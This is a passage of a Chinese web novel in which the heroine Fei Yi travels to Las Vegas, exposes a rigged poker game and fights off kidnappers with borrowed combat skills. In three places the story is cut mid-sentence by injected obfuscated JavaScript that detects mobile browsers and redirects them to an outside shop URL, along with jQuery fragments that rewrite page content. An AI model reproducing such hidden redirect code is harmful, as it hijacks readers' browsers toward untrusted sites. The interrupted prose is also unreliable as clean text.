众人你一言我一语,句句都在劝阻菲放弃赌约。 唯独阿利斯泰尔静立在一旁,他灰蓝色的眼眸落在菲伊身上,目光沉静,没有半分旁人的急躁。 相识至今,从那场步步为营的收购博弈,到联手预判原油行情赚取巨额收益,虽然合作时间不长,却也足够他了解菲伊的行事作风了。 这姑娘看着年纪轻轻,遇事却极为沉稳,性格看似胆大随性,骨子里却谋定而后动,从来不打没有胜算的仗。 今日她当众应下赌约,看着像是被逼无奈,可眼底那抹镇定却骗不了人。 显然,她心中早有主意。 待周遭的劝说声渐渐停歇,阿利斯泰尔才缓步上前,直接道:“菲伊,你有几成把握?” 菲闻言愣了一下,随即弯起唇角笑了。 这男人果然心思通透,旁人只看见眼前的凶险,唯独他一眼看穿自己留了后手。 她坦言:“单凭我自己,有七八成把握。” 顿了顿,她直直看向对方的眼睛,“要是你肯借我一些人手,胜算能提到八九成。” 阿利斯泰尔微微颔首,没有多余的追问,干脆利落地应下:“没问题。我近期都会留在洛杉矶处理事务,但凡有需要的,直接找伊森就好。” 菲伊勾唇:“谢谢,那我就不客气了。” 47.第47章 偌大的套房里灯火通明,工作了数小时的阿利斯泰尔终于从文件堆里抬起头。 他抬手按了按突突直跳的眉心,起身踱到酒柜前,取出一瓶白兰地,斟了小半杯,缓缓走到落地窗前,望着洛杉矶的满城灯火,久久没有出声。 半晌,他才转身踱回办公桌前,拿起座机听筒,拨出一串烂熟于心的私人号码。 电话很快接通,听筒里传来一道慵懒的男声:“阿尔?你这个连睡觉都抱着报表的工作狂,这个时间点应该还没忙完吧,怎么想起给我打电话了?” “舅舅,”阿利斯泰尔没有理会男人的调侃,开门见山道,“我需要你帮我查一个人。……” 交代完事情,他简单聊了两句便挂断电话,仰头将杯中的白兰地一饮而尽,灰蓝色的眼底掠过一抹转瞬即逝的寒芒。 与此同时,洛杉矶市中心的一套豪华公寓里。曼尼奇陷在黑丝绒的沙发中,正左拥右抱着两个艳光四射的名模调笑,粗糙的手指在女人身上肆意游走。 一名黑衣属下轻手轻脚地走进来,垂手站在三步开外。 曼尼奇不耐烦地挥了挥手,两个女人立刻收了笑,识趣地整理好裙摆,悄无声息地退了出去。 属下恭敬地递上一叠厚厚的纸质档案。 “老大,丽贝卡·罗德里格斯的全部资料,还有她近半年接触过的所有人、资金往来记录,全都在这儿了。” 他顿了顿,声音压得更低,“她确实养了几个线人,我们已经全部控制住了。但查来查去,她背后并没有其他势力撑腰,就是个普通的调查记者。” 曼尼奇眉头瞬间拧紧,抬手就把档案狠狠砸在属下脸上。纸张散开,哗啦啦落了一地。 他猛地探身揪住对方的衣领,指节攥得发白,咬牙切齿道: “普通的记者?一个普通记者能让休斯顿盘踞多年的黑警局长和黑/帮一夕垮台?!这他妈就是你查了一个月的结果?!废物!” “老、老大饶命!”属下吓得魂飞魄散,连声求饶,“是我办事不力,我这就去把那女人抓起来严刑拷打,一定把她背后的人撬出来!” 曼尼奇抬手轻轻拍了拍下属的脸颊,看着他吓得浑身发抖的样子,露出一口森白的牙:“再给你三天的时间。三天后我要是还看不到满意的答案,你就自己沉到太平洋里去。” “是!是!我马上就去查!” “滚!” 属下如蒙大赦,连滚带爬地去捡地上散落的文件。 曼尼奇今天本就因为在菲伊那里吃了瘪,憋了一肚子火,此刻看着地上乱糟糟的一片更是火冒三丈,抬脚就把刚理到一半的文件踢得满天飞。 尤觉得不够,又抬脚上去狠狠碾了几下。 就在这时,余光突然扫到脚下的一张文档,上面贴着一张略显青涩的少女照片,女孩穿着中学校服,眉眼清亮,对着镜头笑得干净又灿烂,犹如一朵带着晨露的白茉莉。 曼尼奇瞳孔微缩。 这张脸他绝不会认错! 几个小时前,就是这个看起来人畜无害的小姑娘,让他在手下面前狠狠吃了一次瘪,硬生生接下了他的赌局。 他弯腰一把抓起那张纸,视线死死钉在照片下方的姓名栏上。 菲伊·温斯洛。 果然是她! 曼尼奇盯着这个名字,嘴角缓缓勾起一抹阴冷的笑。 这个人,竟然与丽贝卡认识。 呵呵,有意思。 他从来不相信,世上存在什么巧合。 他用鞋尖踢了踢跪在一旁、头埋得快贴到胸口的属下,眼中露出一丝发现猎物的兴奋: “再加派人手,给我往死里查这个菲伊·温斯洛。她的出身、她的家人、她的朋友,尤其是这半年在休斯顿和洛杉矶的所有行踪,事无巨细,全部给我挖出来!” 他把那张纸揉成一团,狠狠攥在掌心,眼底闪着贪婪又狠戾的光。 “我倒要看看,这个敢在太岁头上动土的小丫头,到底有什么来头。” …… 拉斯维加斯,是莫哈韦沙漠里最璀璨的一块钻石。 暮色刚沉下去,整条拉斯维加斯大道就汇成一片流动的霓虹海。氖气灯管次第点亮,红的、蓝的、粉的、金的光像融化的糖浆一样泼在柏油路上,把干燥的沙漠空气都染得甜腻发黏。 阿兰达赌场的人工火山准时喷发,橘红色的火光冲天而起,映得半边天都在发烫。 凯撒宫的罗马柱上缠满金灯,穿着盔甲的士兵举着长矛巡逻,旁边巨大的广告牌上,猫王的脸在霓虹灯的映衬下愈发闪耀夺目。 一辆黄色的雪佛兰出租车碾过光影斑驳的路面,稳稳停在阿兰达正门口。 穿红色制服的门童立刻快步上前,恭敬地拉开车门。先落地的是一只踩着古驰细高跟的脚,鞋跟细得像针,在大理石地面上敲出清脆的一声。 菲伊弯腰走出车厢,晚风掀起她身上范思哲黑丝绸吊带裙的裙摆,露出一截纤细白皙的小腿。黑色的大波浪卷发被风吹得微乱,她抬手随意拢了拢,动作慵懒又带着天生的矜贵。 往日里总是一身学生打扮的人,此刻彻底换了模样。 米白色香奈儿粗花呢短外套搭在肩头,袖口露出的手腕上,百达翡丽金表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17826557|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 闪着冷光。奥利弗复古墨镜遮住了大半张脸,只露出线条柔和的下颌和一抹惹眼的红唇。 手边的爱马仕凯莉包挺括如玉,衬得她整个人像从时尚杂志里走出来的好莱坞女星。 周围的喧闹莫名静了半拍。 路过的男人不自觉放慢脚步,几个正和客人调情的兔女郎也收了笑,偷偷整理起自己的裙摆。 菲伊对此视若无睹,随手抽出一张二十美元的钞票,递给帮她拎出行李箱的门童,淡淡道:“谢谢。” “祝您入住愉快,女士。”门童接过小费,脸上的笑容更加殷勤。 阿兰达是1989年才开业的新地标,也是全城最奢华的赌场酒店。挑高的大堂穹顶绘着精美的壁画,巨大的水晶吊灯从天花板垂落,折射出万千光点。 菲伊走到前台,报出提前预订的名字。前台小姐核对完信息,双手递上房卡:“温斯洛女士,您预订的顶层豪华套房,两晚。我们的管家会带您上去。” 一位穿着黑色燕尾服的中年管家走上前来,微微躬身:“温斯洛女士,我是您的专属管家查理。有任何需要,请随时吩咐。” 查理领着菲伊走进电梯,按下顶层按钮。电梯平稳上升,透过玻璃幕墙,拉斯维加斯的璀璨夜景尽收眼底。 顶层套房宽敞得惊人,落地窗外就是无边无际的霓虹海洋。查理为她介绍完房间设施,又送上冰镇的香槟和新鲜水果,便轻手轻脚地退了出去。 菲伊卸下外套扔在沙发上,走到窗边俯瞰着脚下这座不夜城。她给自己倒了一杯香槟,浅酌一口。 和曼尼奇的赌局还有两天。她没有选择待在洛杉矶,而是第一时间飞到了拉斯维加斯。 她的目标是最近赌城风头正盛的新晋赌王“杰克”。 这个男人是半年前突然冒出来的,短短半年,横扫拉斯维加斯各大赌场,几乎未尝败绩,坊间甚至传言,他单凭荷官的微表情、指尖小动作,就能精准预判牌面。 流言或许有夸大的成分,但他实打实的战绩骗不了人。 一个能在赌城无往不利、全身而退的人,想来不仅精通各类赌术,还兼备超强心算、记忆力,深谙博弈读心之道,对赌场千术、控牌手法更是了如指掌。 而这些,都是菲伊欠缺的,所以她需要利用系统的租借能力,向顶尖高手“偷师”。放眼全世界,拉斯维加斯无疑是赌场高手云集之地。 有了目标,查起来就很容易了,伊森很快帮她查到了这个“杰克”。据悉,他最近几天都在阿兰达,这也是菲伊出现在这里的原因。 她要制造一场“偶遇”,然后“偷师学艺”。 48.第48章 简单休整后,菲伊换了一身深酒红色丝绒吊带长裙,摘掉夸张的墨镜,只在耳后别了一枚碎钻耳钉,长发松松挽成低髻,露出纤细优美的天鹅颈。 没有浓妆艳抹,只淡淡扫了层眼影,却比白日里的摩登装扮多了几分柔媚,又带着生人勿近的清冷。 她踩着同色系的丝绒高跟鞋,乘专属电梯直达负一层赌场。 “叮”的一声,电梯门滑开。 菲伊刚迈出一步,就被头顶的光晃得眯了眯眼。 赌场上空的整个穹顶,全由数千块施华洛世奇水晶拼接而成,正中间悬着一盏三吨重的水晶吊灯,暖金色的灯光透过无数切面折射开来,投下漫天星芒。 脚下是厚厚的波斯羊毛毯,深红底色上绣着缠枝金纹,踩上去像陷入云朵里,半点脚步声都听不见。 大厅一眼望不到头,周围由上百根意大利卡拉拉大理石柱支撑。远处的人工瀑布从三层高的岩壁上倾泻而下,水雾在灯光下凝成细碎的彩虹,潺潺水声盖过了大部分喧嚣,让整个空间多了几分雅致。 赌场被巧妙地划分成不同区域,用雕花铜栏杆和热带棕榈树隔开。 最先映入眼帘的是老虎机区,数十台机器都镀着金边,“叮叮当当”的声音响个不停。 再往后便是最热闹的轮盘区和桌牌区,每台桌子前都围满了宾客,身着白色燕尾服的荷官手指翻飞,洗牌发牌的动作如行云流水,端着银质托盘的侍者步履轻盈,在人群缝隙间穿梭自如。 菲伊从侍者托盘上拿过一杯香槟,缓缓往前走着。她的目光掠过一张张赌桌,最终落在赌场深处、被棕榈树半掩着的得州扑克专属区。 那里的光线比别处稍暗,每张赌桌都配有独立的台灯和真皮座椅,桌上铺着墨绿色的丝绒桌布,一摞摞陶瓷材质的筹码整齐地码放在一旁。 终于,在一张长桌前,她停住了脚步。 那里坐着一个四十出头的男人,穿着黑色小羊皮夹克,领口随意敞着,露出古铜色的脖颈和一点锁骨。 他留着利落的寸头,高颧骨和深陷的眼窝,眼角有几道浅浅的细纹,非但不显老,反而添了几分成熟的魅力。嘴角叼着一支未点燃的古巴雪茄,眼神半眯着,带着几分漫不经心的痞气。 明明是最随意的打扮,却在一众西装革履的赌客里格外扎眼。 正是新晋赌王杰克。 此刻他正和一个大腹便便的日本富商对弈。富商穿着手工定制的阿玛尼西装,手腕上戴着一块劳力士迪通拿,额头上却满是冷汗,手指无意识地摩挲着无名指上的翡翠戒指。 桌上的筹码已经堆成了一座小山,几乎全在杰克面前,富商面前只剩下孤零零的几枚蓝色筹码。 “加注,五十万。” 杰克指尖夹着一枚金色筹码,轻轻敲了敲丝绒桌布,声音低沉沙哑,带着烟嗓特有的磁性。 富商脸色一白,咬了咬牙,把面前最后一点筹码全部推了出去:“跟!我就不信你每次都能拿到皇家同花顺!” 荷官戴着白手套,缓缓翻开河牌。 杰克笑了笑,把手里的牌摊开:“同花顺,差一点。” 周围响起一片低低的惊叹声。 富商瘫坐在真皮座椅上,面如死灰,过了半晌才摇了摇头,用日语低声骂了一句,起身整理了一下西装,带着随从黯然离开。 杰克慢条斯理地用筹码耙把桌上的筹码拢到自己面前,起身拿起搭在椅背上的外套,准备离开。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17829475|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' /p> 菲伊深吸一口气,脸上露出一个甜腻的微笑,正要走上前去。 “等等!” 一道男声突然响起。 菲伊脚步一顿,循声望去。 只见一个二十岁左右的亚裔男生站在桌旁,穿着李维斯牛仔裤和一件简单的Polo衫,脚上是一双白色匡威帆布鞋,背上挎着个运动双肩包,全身上下找不出半件值钱的行头。 他长得极其清秀,皮肤是冷调的瓷白,一双桃花眼澄澈透亮,鼻梁挺直,嘴唇偏薄,覆着一层淡淡的粉,活像一只误入迷途的羔羊。 杰克挑了挑眉,转过身上下打量了他一番,嘴角勾起一抹玩味的笑:“小鬼,有事?” “我要和你赌一局。”男生眼神坚定,没有丝毫怯意。 周围的看客顿时发出一阵低低的笑声。 “这年轻人胆子真大,敢找杰克赌?” “看他那样子,怕是连最低筹码都买不起吧?” “别是哪个大学放假出来玩的学生,不知道天高地厚。” 杰克也笑了,语气带着几分不屑:“我的规矩,低于10万美金的局,不玩。小鬼,你还是去前面玩老虎机吧,那里比较适合你。” “谁说我没有筹码?” 男生也不废话,拎起双肩包就往丝绒桌布上一倒。 “哗啦——” 一沓沓崭新的百元美钞从包里涌出来,刚才还凑在边上窃笑这小子穷酸的看客们,笑声当场就卡在了喉咙里。 所有人的目光都直勾勾钉在那堆钱上,眼睛瞪得一个比一个圆。 男生并不在意旁人的反应,眼睛直勾勾地盯着杰克,缓缓开口: “我现在,够格了吗?” 49.第49章 一个穿着黑色燕尾服的侍者躬身走到杰克身边,低声说了几句。 杰克脸上的笑容慢慢消失,他重新审视着眼前的男生,眼神变得凝重起来:“这些都是你今晚赢的?从老虎机区一路赢过来的?” 对方点点头,没说话。 杰克沉默几秒,突然冷笑一声:“小子,我承认你是有点运气。不过,这赌场不是你开的,你说要赌,我就得陪你玩?凭什么?” “是不是运气,和我赌一把不就知道了?”男生歪了歪头,言语中带着明晃晃的挑衅,“还是说,你那个‘不败赌王’的名头,是浪得虚名?遇到真正会玩的,就怂了?” “哦——”周围的看客立刻跟着起哄,声音不大,却带着看热闹的兴致,“杰克,跟他赌一局吧!” “让这小子见识见识你的厉害!” “赌一局!赌一局!” 起哄声越来越大,杰克的脸色越来越难看。 他在拉斯维加斯苦心经营了半年,好不容易才将“不败赌王”的金字招牌立住了,要是今天被一个毛头小子几句话就吓退了,以后还怎么在这里混? “好。”杰克咬了咬牙,拉开椅子重新坐下,“我跟你赌。就赌桌上这10万,一把定输赢。” “不行。”男生摇了摇头,“三局两胜。” 杰克愣了一下,随即嗤笑出声:“怎么,怕一次输个精光?行,我就陪你玩玩。输了可别哭着找妈妈。” 第一局,杰克打得稳扎稳打,步步紧逼。男生似乎有些紧张,频频皱眉思考,每次下注都犹豫不决,最后在转牌圈弃牌了。 杰克赢了第一局,脸上露出得意的笑容,他指尖转着筹码靠回椅背,看着男生:“怎么样,小鬼,现在认输还来得及。” 男生没接话,只是抬眼往人群里扫了一下。 他身侧不远处一直站着个圆滚滚的白人男子,看着同是二十岁上下,脸圆乎乎的,穿件松垮的格子衬衣,往那一站像个白面团,之前缩在人群里毫不起眼。 接收到男生的眼神,胖子摸了摸鼻子,悄咪咪往一个灰西装男人的身边挪了两步。 第二局开始了。 三张公共牌刚发完,杰克身子微微前倾,目光扫过自己的底牌,眼角余光极快地往人群左侧掠了一眼。 那穿灰西装的男人正扶着栏杆看牌,右手食指搭在铜制扶手上,指尖不紧不慢地敲了三下,随即拿起手边的威士忌杯,手腕微转,将杯子斜斜靠在了栏杆沿上。 几乎同一瞬间,杰克抬了抬下巴,把面前半数筹码推了出去:“加注四万。” 男生盯着公共牌看了许久,眉头微蹙,指尖在桌布上点了两下,像是在权衡。 就在这时,旁边忽然传来 “哎哟” 一声闷响,那胖子像是被身后路过的侍者撞了个趔趄,整个人结结实实往灰西装身上撞去。 灰西装猝不及防往后一倒,手里的酒杯 “哐当” 磕在栏杆上,半杯琥珀色的酒液全泼在了自己的白衬衫上,连带着扶着栏杆的手都被撞得发麻,下意识地甩了甩手腕。 “对不住对不住!”胖子连忙扶着人道歉,脸上满是憨厚的慌乱,“没站稳,实在抱歉!” 灰西装黑着脸,咬着牙没发作,只能攥着纸巾胡乱擦着衣襟上的酒渍。 就这么耽搁的功夫,荷官已经把转牌、河牌依次发完。 杰克盯着最后两张牌,眉头皱得很紧,显然牌面和他预想的不太一样。双方亮牌时,男生手里凑成了顺子,杰克仅有一对J,第二局男生赢。 “一比一平。”荷官面无表情地报出结果。 杰克的脸瞬间沉了下去,抬眼往人群左侧瞪了一眼。那灰西装刚擦完衣服,对上他的目光,略显狼狈地偏过了头。 菲伊站在人群外圈,指尖摩挲着香槟杯的杯壁,眼前一幕尽收眼底,唇角勾起一抹玩味的笑容。 第三局决胜局,气氛一下子绷紧了。 胖子索性往灰西装身边一站,双手抱在胸前,眼睛一眨不眨地盯着赌桌,胖乎乎的身子刚好挡在灰西装手边。 灰西装身子僵了僵,下意识地把手插进了裤兜里,往旁边挪了半步,胖子也跟着往旁边蹭了蹭,两人之间始终隔着不到半臂的距离。 杰克的眉头拧得更紧了。 这一局他打得格外谨慎,下注慢了许多,每次抬眼想往人群那边看,目光扫到胖子的后脑勺,又不动声色地收了回来。 三张公共牌翻开,他的牌面并不占优,额角慢慢渗出了一点薄汗。 就在这时,正准备发牌的荷官,右手小指突然极快地向内勾了一下,快得几乎没有人能察觉。 紧接着,最后一张河牌被荷官指尖夹着,轻轻落在桌中央。 牌面落下的一刻,杰克原本紧绷的下颌线忽然松了。 他盯着那张牌看了两秒,原本抿着的嘴角慢慢勾起一点弧度,像是松了口气,又像是胜券在握。 “全押。”他把面前所有筹码往前一推,声音里带着一丝不易察觉的轻快。 男生盯着河牌看了许久,最终还是点了点头:“跟。” 两人同时摊开底牌。 杰克的底牌配河牌,刚好凑成三条9,堪堪压过男生手里的两对。 “杰克先生胜。三局两胜,最终赢家为杰克先生。” 周围响起一阵低低的惊叹声,有人唏嘘运气,有人佩服杰克的胆色。 杰克靠回椅背上,抬手松了松衣领,刚要开口说两句场面话,对面的男生忽然抬起手。 “等等。” 他紧紧盯着杰克,一字一顿道:“这局不算。” 杰克脸色一沉:“小子,输不起就直说,别在这里胡搅蛮缠!” “我没胡搅蛮缠。”男生抬眼看向桌后的荷官,目光锐利,“发河牌之前,你右手小指勾了一下,把藏在袖口牌袋里的牌换了上去,我说得对吗?” 荷官的脸“唰”地白了,下意识地想把右手往身后藏,指尖刚碰到后腰又硬生生顿住。他梗着脖子,色厉内荏道: “你胡说八道什么!故意来捣乱的是不是?!” 男生也不恼,继续说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17832714|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 道:“你在右袖口内侧缝了隐形牌袋,刚好能藏一张备用牌。刚才发的那张河牌,根本不是牌堆里的顺序牌,是你早就备好的。是真是假,当众撸起袖子验一验,不就清楚了?” 旁边几个早就瞧出不对劲的赌客立刻上前,伸手就撸起了荷官的右袖。袖口内侧果然贴着一张薄薄的纸牌,正是本该在牌堆里的原河牌。 周围一下子炸开了锅,惊呼和骂声此起彼伏。 “不光荷官,还有这位先生,也是杰克的同伙。”男生又抬手指向人群里的灰西装,“第二局的时候,他扶着栏杆敲手指,敲三下是方块,杯子斜放是八点,给杰克传转牌的信息。 还好我朋友不小心撞了他一下,没让他把剩下的信号传完,不然第二局输的就是我了。” 他顿了顿,目光扫过脸色铁青的杰克:“我跟着他们观察了整整两天,杰克在哪张桌赌,这人就混在哪堆宾客里,全程装作素不相识。演技是不错,可惜每次杰克拿到关键牌前,他的手总闲不住要敲两下。 今天摆这场局,就是想让大家看清楚,这位名声大噪的‘不败赌王’,到底是靠真本事,还是靠旁门左道的欺诈术。” 灰西装听到后面,额头还有脖颈早已挂满了冷汗。没等男生把话说完,他猛地转身扒开人群,拼了命往门口冲。 “快拦住他!” “别让他跑了!” 杰克也想趁乱溜,可刚站起身就被几个输过大钱的老赌客团团围住。一只只手攥着他的胳膊、扯着他的衣领,七嘴八舌地喊着要他退钱,连半步都挪不动。 就在乱哄哄的当口,人群外突然传来一声怒喝,紧跟着是一声闷响的痛呼。 众人纷纷回头望去,就见灰西装已经被两个黑衣保镖死死按在地毯上,脸贴地面动弹不得。 之前输光筹码的日本富商黑着脸站在一旁。 他刚走到电梯口就听见了这边的骚动,当即掉头杀了回来。虽没听全前因后果,只凭“欺诈”这个词,他就立刻吩咐保镖动手,把人当场按了个结实。 现在一听旁边那些个宾客的议论,还有什么不明白的,他一张褶子脸立刻涨得通红,指着杰克的鼻子,用蹩脚的英语骂道: “你这个骗子!我输的五百万,原来全是被你用这种下三滥的手段骗走的!今天赌场不给我一个交代,我就投诉到内华达□□委员会!” 场面彻底乱成一团。 赌场管事满头大汗地赶来,先是让保安控制住杰克、荷官和灰西装,然后对着富商和一众愤怒的赌客连连赔礼。 菲伊站在人群边缘,目光越过乱哄哄的人群,落在那个正悄悄把桌上的现金塞进背包、拽着胖子往人群外溜的男生身上,眼底闪过一丝笑意。 她本来是奔着“不败赌王杰克”来取经的,没成想撞破了一场团伙骗局,反倒挖出了个真正的高手。 这男生不光赌术了得,观察力、心计和临场应变更是拔尖,可比那个只会出千的水货靠谱得多。 菲伊放下手里的空酒杯,理了理丝绒裙摆,不紧不慢地跟了上去。 50.第50章 两个男生顺着酒店侧门溜出来,一脚踏进拉斯维加斯温热的夜风里。 主街霓虹翻涌,把夜空染成流动的金红色。 胖子攥着背包肩带,兴奋得脸颊通红,一路走一路唾沫横飞地复盘刚才的场面,从拆穿荷官出千讲到自己“精准一撞”破坏暗号,吹得眉飞色舞。 旁边的亚裔男生嘴角也噙着笑意,却比他沉稳得多,等他说得差不多了,才开口提醒: “这笔钱不能乱花。咱们的项目正卡在经费缺口上,二十万看着多,分摊到耗材和定制设备上根本撑不了多久,得省着用。” 胖子挠了挠圆滚滚的后脑勺,蔫蔫地“哦”了一声,小声嘟囔着:“我就畅想一下嘛……” 两人说着话,拐进了主街旁的一条窄巷。 这里只隔了两栋建筑,却像隔了一个世界。 霓虹灯的光只漏进来零星几点,墙面泛着潮味,安静得能听见虫鸣声。 刚走到巷子中段,前方阴影里忽然走出四个黑西装,堵死了前路。两人心里一沉,转身想往回跑,巷口也被人堵了个严实。 前后加起来八个人,清一色的壮汉,把窄巷封得水泄不通。 胖子吓得一缩脖子,把背包往怀里搂了搂,硬着头皮喊:“你们要钱是吧?钱我们给你们,放我们走!” 领头的男人嗤笑一声,冲他抬了抬下巴:“包扔过来。” 男生盯着对方看了两秒,没多争执,抬手就把背包扔了过去。 背包“啪”地落在领头人的脚边,他弯腰扫了眼里面成沓的现金,却半点没有让路的意思,反手一挥,声音冷得像冰:“把人带走。” “你们说话不算话!钱都给你们了!”胖子吓得抱着头蹲在地上,声音都发了颤。 男生反应更快,侧身躲开扑过来的打手,挥拳就击中一人鼻梁骨,可对方人多势众,不过两三下,他就被人死死钳住胳膊,动弹不得。 “谁说我只要钱?”领头人踹了脚边的背包一下,眼神阴狠,“怪就怪你们不长眼,惹了不该惹的人!” 男生瞬间反应过来:“你们和杰克是一伙的!” 才说完,打手已经摸出黑头套,往两人头上一套,就要将人带走。 这时,巷口传来一道清冷的女声,音量不高,却清清楚楚传到在场每个人的耳中: “把人放开。” 一众打手齐齐扭头。 巷口漏进来的霓虹光里,不知何时站着一道纤细的身影。 来人穿着一身酒红色丝绒长裙,脸上戴着个银纹假面,遮住了大半张脸,只露出小巧的下巴和秾丽饱满的红唇。 瞧着像是从哪个舞会溜出来的娇贵小姐,一副弱不禁风的模样,竟敢孤身一人拦在了八个壮汉面前。 领头人愣了愣,随即嗤笑出声:“哪儿来的娘们儿,也敢管老子的闲事?”他冲身侧抬了抬下巴,“去,给她点颜色看看。” 两个打手领命,狞笑着走过去。 与此同时,一道冰冷的电子音在菲伊的脑海中响起: 【陈振华大力金刚功租借成功,倒计时10:00。】 【雷蒙战场搏杀技能租借成功,倒计时10:00。】 两股力量顺着四肢百骸蔓延开。 陈振华的金刚劲浸入筋骨里,每一寸肌肉都灌满了沉甸甸的力道。 雷蒙的格斗技能则刻在神经反射里,对手的动作轨迹、重心变化,都一目了然。 菲伊低头扫了眼脚上细得像针的鞋跟,眉梢微蹙,这种鞋撑场面还行,真要近身搏杀只会绊住手脚。 她三两下蹬掉高跟鞋,和银色手包一起放在墙角,赤脚踩在粗糙的水泥地上。 脚心贴地的瞬间,周身的力道仿佛更沉了几分,她轻轻活动了一下手腕脚踝,缓缓吐出一口浊气。 没想到陈振华和雷蒙的两种技能融合得这么好,两股力道一刚一捷互补相生,身体非但没有半分滞涩与负担,反而第一次生出舒展通透的踏实感。 两名打手见状,先是一愣,随即哄笑起来。 “怎么着小妞?这就脱鞋准备求饶了?” “别是吓软了腿,站不住了吧?” 嘴里调笑个不停,两人脚步却没停,一左一右扑上来,伸手就去抓她的胳膊。 霎时间,菲伊动了。 她手腕轻翻,精准扣住当先那人的脉门,金刚指力微微一沉,“咔嚓”一声,腕骨直接被捏碎那。 不等对方惨叫出口,她沉腰坠马,借少林靠山劲单臂一带,一百八十多斤的壮汉像空麻袋似的被横着甩出去,正砸在右侧冲来的同伙身上。 两人闷哼一声摔成一团,骨头撞得闷响,当场就没了动静。 剩下的人全都懵了。谁也没料到这个看着娇滴滴的女人,居然有这么大的力气。 “都愣着干什么?给我一起上!”领头人脸色骤变,厉声喝道。 剩下的五个打手一拥而上。 拳风从三面裹过来,窄巷里连腾挪的空间都不剩多少。 菲伊侧身滑步,避开正面拳头的同时,沉肘一记少林铁肘砸在当先那人胸口。沉闷的骨裂声里,那人胸骨塌陷,倒飞出去。 几乎同一时间,左侧的打手已绕道她侧面,捏紧拳头奔着她后心软肋砸来。 菲伊不闪不避,反手向后一探,五指精准扣住对方的腕关节。金刚指力往骨缝里一沉,脆响伴着惨叫炸开。 她借着对方吃痛收力的势头往前一牵,另一只手按死他的肘关节,双手反向一拧,整条胳膊直接脱臼错位。 不过两三个呼吸的功夫,五人围攻已破其二。 趁着剩下三人怔愣之际,菲伊不退反进,右脚尖在砖墙上狠狠一点,借着反作用力整个人凌空腾起。 腰腹拧转发力,全身沉凝的金刚劲尽数灌在右腿上,一记刚猛的侧踢直扫最右侧打手的面门。 这一脚势大力沉,像淬了铁的重锤结结实实砸在脸上。 闷响伴着骨裂声同时炸开,几颗带血的牙 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他脸上早已没了之前的嚣张,冷汗不断往下滴。 他怎么也想不通,这个看起来柔弱不堪的女人,怎么会有这种身手。 领头人悄悄往后退了半步,手飞快摸向腰后,掏出一把装了消音器的手枪,抬手就对准菲伊的胸口。 “找死!” 枪口抬起的瞬间,菲伊体内的特种兵战斗反应已先于意识启动。 她的腰腹猛然发力,整个人往侧面矮身掠出半米,子弹“噗”的一声闷响,擦着她的肩头飞过,打在身后的砖墙上。 领头人瞳孔骤缩,他没想到这女人居然反应这么快! 刚要调整枪口再射,菲伊已经欺身到了近前。她伸手扣住他持枪的手腕,拇指精准按在他腕骨的软穴上,少林金刚指的寸劲一出—— 领头人只觉得手腕像被液压机碾过,剧痛顺着胳膊窜上天灵盖,手指一松,手枪径直掉了下去。 菲伊抬脚将枪勾到手里,动作行云流水,仿佛玩了十几年枪的老手。 她单手持枪,没给对方任何反应时间,“噗、噗”四枪,全打在四肢关节处,没有一发致命,却让他瞬间丧失了反抗能力。 准头稳得像定点打靶。 巷子里彻底安静下来,只剩此起彼伏的哀嚎呻吟。 “你……到底是谁?” 领头人捂着伤口瘫在地上,忍着剧痛颤声问。 菲伊没搭理他,枪在指尖转了半圈,随手揣进手包里,走过去一掌将他劈晕。然后捡起地上的弹簧刀,“唰唰”几下割断两个男生的绑绳。 黑头套被扯下来后,林砚先眯了眯眼,适应巷子里昏暗的光线。 耳边还飘着打手们压抑的痛哼,水泥地上的铁锈味混着墙根的潮气钻进来,他刚要撑着地站起来,眼前忽然落下一道阴影。 51.第51章 一只手伸到了林砚面前。 手指纤细,骨节分明,在巷口漏进来的霓虹暗光里,宛如白玉。 一旁的奥利弗完全呆住了,眼睛瞪得溜圆,嘴巴张成了个O型。 他刚才蹲在地上,眼睛虽然看不见,但光听声音,就知道战况很激烈,紧张得手心全是汗。 这会儿一个美女正弯着腰朝他们伸手,银纹的面具,饱满的红唇,酒红色的裙子……活脱脱就是一个从电影里走出来的神秘女特工。 惊和喜同时砸下来,他连刚才被绑架的后怕都忘得一干二净,直勾勾盯着人看,脑中只剩“美女”、“酷毙了”两个词循环播放。 林砚的心跳毫无预兆地漏了半拍。 风从巷口卷着霓虹的暖意吹过来,一股清冽的冷香飘进鼻腔。清清淡淡的,像深夜山林里掠过的风,裹着一点凉,直直钻进肺里。 “能走吗?” 她开口问道,声音有点哑,似乎是刻意压低。 林砚张了张嘴,没说出话。他还没从怔忡里反应过来,那只微凉的手已经握住了他的手腕。 一点温凉的触感顺着皮肤蔓延开,像细小的电流,顺着胳膊一路窜到心口,炸得他脑子里一片空白。 